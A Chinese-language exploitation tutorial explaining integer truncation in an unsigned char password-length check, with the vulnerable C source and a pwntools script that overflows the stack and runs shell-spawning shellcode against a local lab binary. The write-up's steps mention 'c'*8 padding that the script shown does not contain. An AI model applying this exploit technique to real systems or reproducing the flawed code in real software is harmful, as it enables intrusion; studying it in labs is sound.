什么是整型溢出
注意:大的范围转给小的范围的数,会造成截断,这是内存分布结构所导致的,下面示例中会讲到
首先checksec
未开保护
程序源码
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
void foo(char* passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd); //char来存储passwd_len
if(passwd_len >= 4 && passwd_len <= 8) {
printf("Valid Password\n");
fflush(stdout);
strcpy(passwd_buf,passwd);
}
else {
printf("Invalid Password\n");
fflush(stdout);
}
}
int main() {
char a[300];
printf("0x%x\n",a);
puts("input your passwd:");
read(0,a,300);
foo(a);
return 0;
}
分析
第一个漏洞点:uchar 的len,因为长度为256,当大于256就会截断,如输入261(0001 0000 0101),截断后(后uchar字节的数):5(0101),所以len会变为5(这就是大的范围转给小的范围的数,会造成截断),因为整数溢出过大这里用uchar来做例子,原理是是一样的
第二个漏洞点:基本的栈溢出,就是复制密码到数组
编写exp过程
1.程序开始便打印了栈上变量的地址,相当于泄露栈地址
2.通过ida分析
buf距离ebp 20个字节,距离eip24字节
因此字节填充为'a'*24
3.动态调试确定shellcode地址偏移
4.将‘c'*8改为shellcode即可
exp
#exp.py
from pwn import *
p=process("./vuln")
shell = asm(shellcraft.i386.linux.sh())
p.recvuntil("0x")
addr=int(p.recv(8),16)-0x14
p.recvuntil("passwd:\n")
payload='a'*24
payload+=p32(addr)
payload+=shell
payload=payload.ljust(261,'b')
payload+='\x00'
p.send(payload)
#gdb.attach(p,"b *0x804A060")
p.interactive()